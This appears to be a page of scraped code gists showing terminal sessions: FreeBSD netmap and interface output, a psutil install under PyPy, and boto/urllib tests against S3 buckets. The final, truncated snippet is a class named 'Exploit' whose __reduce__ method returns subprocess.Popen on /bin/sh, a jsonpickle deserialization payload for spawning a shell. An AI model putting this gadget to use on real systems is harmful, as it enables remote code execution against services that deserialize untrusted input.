This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
root@brummer1:/home/oberstet # dmesg | grep netmap | |
netmap: loaded module | |
001.000007 [2705] netmap_attach success for ix0 tx 8/2048 rx 8/2048 queues/slots | |
001.000008 [2705] netmap_attach success for ix1 tx 8/2048 rx 8/2048 queues/slots | |
001.000010 [2705] netmap_attach success for igb0 tx 4/1024 rx 4/1024 queues/slots | |
001.000011 [2705] netmap_attach success for igb1 tx 4/1024 rx 4/1024 queues/slots | |
root@brummer1:/home/oberstet # ifconfig ix0 | |
ix0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> metric 0 mtu 16114 | |
options=8407bb<RXCSUM,TXCSUM,VLAN_MTU,VLAN_HWTAGGING,JUMBO_MTU,VLAN_HWCSUM,TSO4,TSO6,LRO,VLAN_HWTSO> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[oberstet@brummer1 ~/scm/psutil]$ ~/pypy1/bin/pypy setup.py install | |
running install | |
Checking .pth file support in /home/oberstet/pypy1/site-packages/ | |
/home/oberstet/pypy1/bin/pypy -E -c pass | |
TEST PASSED: /home/oberstet/pypy1/site-packages/ appears to support .pth files | |
running bdist_egg | |
running egg_info | |
creating psutil.egg-info | |
writing psutil.egg-info/PKG-INFO | |
writing top-level names to psutil.egg-info/top_level.txt |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[oberstet@brummer1 ~]$ ~/pypy1/bin/pypy | |
Python 2.7.8 (a980ebb26592ed26706cd33a4e05eb45b5d3ea09, Dec 13 2014, 07:55:06) | |
[PyPy 2.4.0 with GCC 4.2.1 Compatible FreeBSD Clang 3.4.1 (tags/RELEASE_34/dot1- final 208032)] on freebsd10 | |
Type "help", "copyright", "credits" or "license" for more information. | |
>>>> import psutil | |
>>>> psutil.__version__ | |
'2.2.0' | |
>>>> p = psutil.Process() | |
>>>> p.cpu_affinity() | |
[0, 1, 2, 3, 4, 5, 6, 7] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$ python | |
Python 2.7.9 (default, Dec 10 2014, 12:24:55) [MSC v.1500 32 bit (Intel)] on win32 | |
Type "help", "copyright", "credits" or "license" for more information. | |
>>> from boto.s3.connection import S3Connection | |
>>> conn = S3Connection() | |
>>> bucket = s3.get_bucket("web-autobahn-ws") | |
Traceback (most recent call last): | |
File "<stdin>", line 1, in <module> | |
NameError: name 's3' is not defined | |
>>> bucket = conn.get_bucket("web-autobahn-ws") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[oberstet@brummer2 ~]$ ~/python1/bin/python | |
Python 2.7.9 (default, Dec 13 2014, 11:56:09) | |
[GCC 4.2.1 Compatible FreeBSD Clang 3.4.1 (tags/RELEASE_34/dot1-final 208032)] o n freebsd10 | |
Type "help", "copyright", "credits" or "license" for more information. | |
>>> from boto.s3.connection import S3Connection | |
>>> conn = S3Connection() | |
>>> bucket = s3.get_bucket("web-autobahn-ws") | |
Traceback (most recent call last): | |
File "<stdin>", line 1, in <module> | |
NameError: name 's3' is not defined |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$ python | |
Python 2.7.9 (default, Dec 10 2014, 12:24:55) [MSC v.1500 32 bit (Intel)] on win32 | |
Type "help", "copyright", "credits" or "license" for more information. | |
>>> import urllib | |
>>> urllib.urlopen("https://www.google.com") | |
<addinfourl at 37639192 whose fp = <socket._fileobject object at 0x023E26B0>> | |
>>> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$ python | |
Python 2.7.9 (default, Dec 10 2014, 12:24:55) [MSC v.1500 32 bit (Intel)] on win32 | |
Type "help", "copyright", "credits" or "license" for more information. | |
>>> import boto | |
>>> boto.set_stream_logger('boto') | |
>>> from boto.s3.connection import S3Connection | |
>>> conn = S3Connection() | |
2015-01-03 20:26:40,263 boto [DEBUG]:Using access key found in shared credential file. | |
2015-01-03 20:26:40,263 boto [DEBUG]:Using secret key found in shared credential file. | |
>>> bucket = conn.get_bucket("web-autobahn-ws") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$ python test2.py | |
<addinfourl at 37638432 whose fp = <socket._fileobject object at 0x023E2530>> | |
<addinfourl at 37596816 whose fp = <socket._fileobject object at 0x023E2530>> | |
Traceback (most recent call last): | |
File "test2.py", line 4, in <module> | |
print(urllib.urlopen("https://autobahn.ws.s3.amazonaws.com")) | |
File "c:\Python27\lib\urllib.py", line 87, in urlopen | |
return opener.open(url) | |
File "c:\Python27\lib\urllib.py", line 213, in open | |
return getattr(self, name)(url) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
oberstet@THINKPAD-T410S /f | |
$ cat test2.py | |
import urllib | |
print(urllib.urlopen("https://www.google.com")) | |
print(urllib.urlopen("https://web-autobahn-ws.s3.amazonaws.com")) | |
print(urllib.urlopen("https://autobahn.ws.s3.amazonaws.com")) | |
oberstet@THINKPAD-T410S /f | |
$ python test2.py | |
<addinfourl at 37638432 whose fp = <socket._fileobject object at 0x023E2530>> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import jsonpickle | |
import subprocess | |
import base64 | |
class Exploit(object): | |
def __reduce__(self): | |
fd = 20 | |
return (subprocess.Popen, | |
(('/bin/sh',), # args | |
0, # bufsize |